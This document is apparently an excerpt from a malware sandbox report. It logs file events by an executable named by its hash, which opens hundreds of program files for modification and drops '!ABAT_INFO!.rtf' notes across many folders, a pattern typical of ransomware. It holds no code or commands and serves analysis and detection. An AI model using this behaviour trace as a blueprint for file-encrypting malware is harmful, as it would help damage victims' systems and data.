81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Honolulu 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.httpcomponents.httpclient_4.2.6.v201311072007.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\plugin-hang-ui.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423861261279.profile.gz 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\sysinfo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\mc.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\prodicon.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-options-keymap.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-ui_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\etc\visualvm.conf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-modules-appui_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\classlist 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Windhoek 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\java.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\tnameserv.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Cancun 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\high-contrast.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs-nio2_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Baghdad 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\ZoneInfoMappings 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.intro.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Pontianak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\en-US.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_zh_CN.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.felix.gogo.runtime_0.10.0.v201209301036.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\pop3.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\toc.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\flight_recorder.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_mac.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-visual_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Monterrey 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Dawson_Creek 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Search5.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Nome 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.batik.css_1.7.0.v201011041433.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Makassar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Kabul 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.RSA 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\send-email-16.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\core_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-loaders_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Denver 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Rainy_River 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Windows Mail\WinMail.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Helsinki 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse_2.1.200.v20140512-1650.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Riyadh87 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\management\jmxremote.password.template 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\Documentation.url 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\telnet.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\AccessBridgeCalls.h 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Jujuy 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfr\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\sd\jamendo.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\uninstall.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\THIRDPARTYLICENSEREADME.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-jmx.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\default_apps\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.extensionlocation.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\java.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+8 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\VisualElements\Logo.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Mazatlan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.databinding.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\tnameserv.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\dailymotion.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Cayenne 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\eclipse.inf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.jarprocessor_1.0.300.v20131211-1531.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\fonts\LucidaSansRegular.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\db\bin\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Adak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\skins\skin.catalog 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\it.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\hi.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\about.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-common_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\SystemV\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\twitch.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\AST4ADT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\rarrow.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\keytool.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Amman 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kolkata 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\Catamarca 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_de.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\jawt.lib 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core_2.3.0.v20131211-1531.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-ui_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Phoenix 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\Real.mpp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\WidevineCdm\_platform_specific\win_x64\widevinecdm.dll.sig 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Amman 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\javax.el_2.2.0.v201303151357.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-loaders.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\fonts\LucidaTypewriterRegular.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\javadoc.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.net_1.2.200.v20120807-0927.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Antarctica\Mawson 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\dialogs\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jhat.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Phoenix 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-threaddump_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Galapagos 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\AST4ADT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Resolute 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\anevia_streams.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\ktab.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\launcher.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Mauritius 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.repository.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-ui_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Microsoft Sync Framework\v1.0\Runtime\x64\resources\1033\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\sd\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.reconciler.dropins.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.text.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-windows.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Belize 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\firefox.exe.sig 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Guam 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\!ABAT_INFO!.rtf 